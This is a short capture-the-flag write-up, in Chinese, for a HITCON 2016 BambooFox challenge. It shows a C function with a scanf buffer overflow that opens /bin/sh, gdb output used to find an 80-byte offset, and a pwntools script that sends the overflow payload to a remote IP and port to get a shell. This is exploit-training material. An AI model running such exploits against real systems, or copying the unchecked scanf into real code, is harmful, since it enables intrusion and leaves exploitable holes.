HITCON 2016 BambooFox Challenge write up – Part 1

```
void md5bof(char *mid){
        char overflow[40];
        keypt = mid;
        printf("Start overflow!!!! : ");
        scanf("%s", overflow);
        int i = 0;
        unsigned long result = 0;
        int *convert = (int*)keypt;
        for(i = 0; i < 5; ++i){
            result += convert[i];
        }
        if(result == hashcode){
            system("/bin/sh");
        }
```

目標 : result 等於 0xddaa1234 (hashcode) → 取得 Shell

觀察 1 : result 是 convert 陣列前五項的和 → keypt(型態:char*)轉型成 convert(型態:int*)
→ keypt 的每 4 個 char 轉成 convert 的 1 個 int

觀察 2 : scanf 存在 buffer overflow 的漏洞(沒有檢查輸入字數)

作法(第一步驟) : 用 gdb 看 overflow 的位址和 keypt 差多少 bytes

```
(gdb) x/x overflow
0x7fffffffe310: 0xf7dd6620
(gdb) x/x keypt
0x7fffffffe360: 0x00000000
```

作法(第二步驟) : 先輸入 0x360 – 0x310 = 0x50 = 80 (十進位)個字元
→再輸入加總等於 0xddaa1234 的五個數字

```
#!/usr/bin/python
from pwn import *

s=remote("140.113.209.24",20001)

print s.recv()
print s.recv()
s.sendline('y')

print s.recv()

payload='A'*80 + p32(0x2c5536d7)*4 + p32(0x2c5536d8)
s.sendline(payload)

s.interactive()
```